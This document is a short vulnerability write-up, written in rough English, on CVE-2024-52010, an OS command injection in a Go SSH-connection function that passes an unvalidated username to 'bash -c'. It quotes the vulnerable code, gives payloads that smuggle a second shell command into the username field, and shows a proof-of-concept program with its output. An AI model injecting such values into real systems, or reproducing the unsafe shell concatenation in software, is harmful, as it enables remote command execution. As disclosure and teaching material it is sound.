Sumary
OS Command Injection is vulnerability allow attack can excute command of os on the application. This is critical vulnerability because attacker can RCE system and take control system.
In the CVE-2024-52010, application use golang and run command ssh to perform ssh to the system. However, variable username
is input but not validate and used for user when remote. Vulnerability at here, attacker can insert command of os in to username and excute command.
Analysis Code
I have a function
func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {
//Create a gotty instance
connAddr := remoteIpAddr
if username != "" {
connAddr = username + "@" + remoteIpAddr
}
configPath := filepath.Join(filepath.Dir(i.ExecPath), ".gotty")
title := username + "@" + remoteIpAddr
if remotePort != 22 {
title = title + ":" + strconv.Itoa(remotePort)
}
sshCommand := []string{"ssh", "-t", connAddr, "-p", strconv.Itoa(remotePort)}
cmd := exec.Command(i.ExecPath, "-w", "-p", strconv.Itoa(listenPort), "--once", "--config", configPath, "--title-format", title, "bash", "-c", strings.Join(sshCommand, " "))
cmd.Dir = filepath.Dir(i.ExecPath)
cmd.Env = append(os.Environ(), "TERM=xterm")
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
go func() {
cmd.Run()
i.Destroy()
}()
i.tty = cmd
i.AssignedPort = listenPort
i.RemoteAddr = remoteIpAddr
i.RemotePort = remotePort
//Create a new proxy agent for this root
path, err := url.Parse("http://127.0.0.1:" + strconv.Itoa(listenPort))
if err != nil {
return err
}
//Create new proxy objects to the proxy
proxy := reverseproxy.NewReverseProxy(path)
i.conn = proxy
return nil
}
You see input of CreateNewConnection
function include: listenPort, username, remoteIpAddr, remotePort. In there, username and remoteIpAddr is string and perform concatenate string.
connAddr := remoteIpAddr
if username != "" {
connAddr = username + "@" + remoteIpAddr
}
After, code prepare for command ssh to perform ssh to remoteIpAddr.
sshCommand := []string{"ssh", "-t", connAddr, "-p", strconv.Itoa(remotePort)}
At here, there is not any validate for string connAddr
. And vulnerability will happen at cmd := exec.Command(i.ExecPath, "-w", "-p", strconv.Itoa(listenPort), "--once", "--config", configPath, "--title-format", title, "bash", "-c", strings.Join(sshCommand, " "))
Exploit
To the exploit, i have a payload with input for username:
root; whoami ;
and remoteIpAddr = 127.0.0.1. Finnaly, connAddr = root; whoami @127.0.0.1
.
I perform rewrite code with payload and demo vulnerability:
package main
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
)
type Instance struct {
ExecPath string
AssignedPort int
RemoteAddr string
RemotePort int
}
func (i *Instance) CreateNewConnection(listenPort int, username string, remoteIpAddr string, remotePort int) error {
connAddr := remoteIpAddr
if username != "" {
connAddr = username + "@" + remoteIpAddr
}
title := connAddr
if remotePort != 22 {
title = title + ":" + strconv.Itoa(remotePort)
}
sshCommand := []string{"ssh", "-t", connAddr, "-p", strconv.Itoa(remotePort)}
fullCommand := strings.Join(sshCommand, " ")
cmd := exec.Command("bash", "-c", fullCommand)
cmd.Dir = filepath.Dir(i.ExecPath)
cmd.Env = append(os.Environ(), "TERM=xterm")
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
fmt.Printf("Executing command: %s\n", fullCommand)
err := cmd.Run()
if err != nil {
return err
}
return nil
}
func main() {
instance := Instance{ExecPath: "/bin/bash"}
err := instance.CreateNewConnection(8080, "ahihi; whoami #", "127.0.0.1", 22)
if err != nil {
fmt.Println("Error:", err)
}
}
After, i run with command go run main.go
and get result
ubuntu@ip-172-31-22-90:~/Research/Go/oscommand$ go run main.go
Executing command: ssh -t ahihi; whoami #@127.0.0.1 -p 22
Pseudo-terminal will not be allocated because stdin is not a terminal.
ssh: Could not resolve hostname ahihi: Temporary failure in name resolution
ubuntu